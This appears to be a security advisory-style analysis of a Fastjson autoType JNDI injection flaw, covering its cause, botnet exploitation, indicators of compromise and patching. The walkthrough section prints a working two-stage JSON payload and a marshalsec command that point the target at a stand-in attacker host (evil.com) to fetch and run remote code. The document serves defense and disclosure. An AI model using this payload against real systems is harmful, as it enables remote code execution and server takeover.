CVE-2025-70974: 
Java vulnerability analysis and mitigation

CVE-2025-70974 is a JNDI injection vulnerability in Alibaba's Fastjson library (versions before 1.2.48) caused by improper handling of the autoType feature. When a JSON document contains an @type key referencing a Java class name, Fastjson may invoke public methods of that class, enabling attackers to trigger JNDI injection via attacker-controlled payloads elsewhere in the document. The CVE was published on January 9, 2026, and represents an incomplete fix for the earlier CVE-2017-18349; a subsequent bypass is tracked as CVE-2022-25845. It carries a CVSS v3.1 base score of 10.0 (Critical) (GitHub Advisory, Feedly).

The root cause is classified as CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). Fastjson's autoType mechanism, when processing a JSON document, resolves the class named in an @type field and calls its public methods — including those that perform JNDI lookups. An attacker crafts a two-part JSON payload: the first object uses @type: java.lang.Class with val: com.sun.rowset.JdbcRowSetImpl to load the target class into Fastjson's cache (bypassing the blacklist), and the second object instantiates that class with a dataSourceName pointing to an attacker-controlled RMI/LDAP server. This results in the server fetching and executing a remote Java class. A public PoC environment is available via Vulhub (Vulhub PoC), and the diff between versions 1.2.47 and 1.2.48 shows the autoType check improvements (Fastjson Diff).

Successful exploitation allows an unauthenticated remote attacker to achieve arbitrary code execution on the target server with the privileges of the Java process running Fastjson. The vulnerability has a changed scope (S:C), meaning impact extends beyond the vulnerable component itself — attackers can compromise confidentiality, integrity, and availability of the host system and potentially pivot to internal network resources. Real-world exploitation by the Androxgh0st botnet has demonstrated use cases including remote code execution, sensitive data theft (e.g., /etc/passwd), cryptomining deployment, and persistent webshell installation (CloudSEK).

The vulnerability has been actively exploited in the wild from 2023 through 2025, including by the Androxgh0st botnet, which weaponized Fastjson 1.2.47 RCE as one of its initial access vectors (CloudSEK). A public PoC environment is available via Vulhub (Vulhub PoC). The EPSS score is approximately 0.064% as of the advisory date, though the confirmed in-the-wild exploitation history significantly elevates practical risk (Feedly). No specific CISA KEV catalog entry for CVE-2025-70974 was identified, though CISA's weekly bulletin for the week of January 5, 2026 referenced this CVE.

1. Reconnaissance: Identify internet-facing Java applications that accept JSON input and use Fastjson versions prior to 1.2.48 (e.g., via HTTP response headers, error messages, or Shodan/Censys fingerprinting).
2. Set up malicious infrastructure: Compile a malicious Java class (e.g., TouchFile.class or a reverse shell payload) and host it on an attacker-controlled HTTP server (e.g., http://evil.com/Exploit.class).
3. Start an RMI/LDAP redirect server: Use a tool such as marshalsec to start an RMI reference server that redirects JNDI lookups to the hosted malicious class: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#Exploit" 9999.
4. Craft the exploit payload: Send a POST request with Content-Type: application/json containing a two-stage JSON payload — the first stage loads com.sun.rowset.JdbcRowSetImpl into Fastjson's class cache via java.lang.Class, and the second stage instantiates it with dataSourceName pointing to the attacker's RMI server:

{
  "a": {
    "@type": "java.lang.Class",
    "val": "com.sun.rowset.JdbcRowSetImpl"
  },
  "b": {
    "@type": "com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName": "rmi://evil.com:9999/Exploit",
    "autoCommit": true
  }
}

5. Achieve RCE: The vulnerable server resolves the JNDI reference, fetches the remote class from the attacker's HTTP server, and executes its static initializer block, resulting in arbitrary command execution under the server's Java process account (Vulhub PoC).

• Network:

  • Outbound RMI (port 1099) or LDAP (port 389/636) connections from the Java application server to external/unknown hosts
  • HTTP GET requests from the server to attacker-controlled hosts fetching .class files
  • DNS/HTTP callbacks to OAST/interactsh domains (e.g., *.oast.me, *.oast.fun, *.oast.today, *.oast.live, *.oast.site) associated with Androxgh0st activity (CloudSEK)
  • Connections to IP 185.172.128[.]93 (known Androxgh0st infrastructure)

• Logs:

  • HTTP POST requests to JSON-consuming endpoints containing @type, java.lang.Class, com.sun.rowset.JdbcRowSetImpl, or dataSourceName fields
  • Java exceptions or stack traces related to JNDI resolution or class loading in application logs
  • Log entries referencing rmi:// or ldap:// URIs in deserialization context

• File System:

  • Unexpected PHP webshells (e.g., abuok.php, myabu.php, scwj.php, baocun.php) in web-accessible directories
  • MD5 hashes: 9e1fb14b747b5bdaf817845007a47752 (abuok.php), d6efe92ca18570f940a720e51af77f72 (myabu.php), f65749ddf93e890b48b3bde77b1302aa (scwj.php), 5a12416857547341493b436299e9b886 (baocun.php)
  • New files created in /tmp/ (e.g., /tmp/success) or other writable directories by the Java process

• Process:

  • Unusual child processes spawned by the Java/JVM process (e.g., bash, sh, curl, wget, python)
  • Cryptomining processes or JSON-RPC mining pool communications (getwork, eth_getWork) (CloudSEK)

The primary remediation is to upgrade Fastjson to version 1.2.48 or later, which includes improved autoType checks that prevent the class-cache bypass technique (Fastjson Diff). Alibaba has also released Fastjson 2.0.x as a more secure successor and recommends migrating to it (Fastjson GitHub). As interim mitigations, organizations should restrict outbound RMI, LDAP, and JNDI connections at the network perimeter, implement a Web Application Firewall (WAF) to detect and block payloads containing @type with suspicious class names, and audit all systems using Fastjson to confirm patched versions are deployed (GitHub Advisory).

The vulnerability received notable attention from the security community upon its January 2026 CVE publication, with discussions on Mastodon and Bluesky highlighting its critical severity and historical exploitation context. CloudSEK published a detailed threat intelligence report documenting Androxgh0st botnet's active exploitation of Fastjson 1.2.47 RCE as part of a broader multi-vulnerability campaign (CloudSEK). The Hacker Wire and other security outlets covered the JNDI injection angle, and CISA's weekly vulnerability bulletin for the week of January 5, 2026 included this CVE. The NVD noted the record is "not being prioritized for NVD enrichment efforts," which drew some community commentary about resource allocation for historically significant vulnerabilities.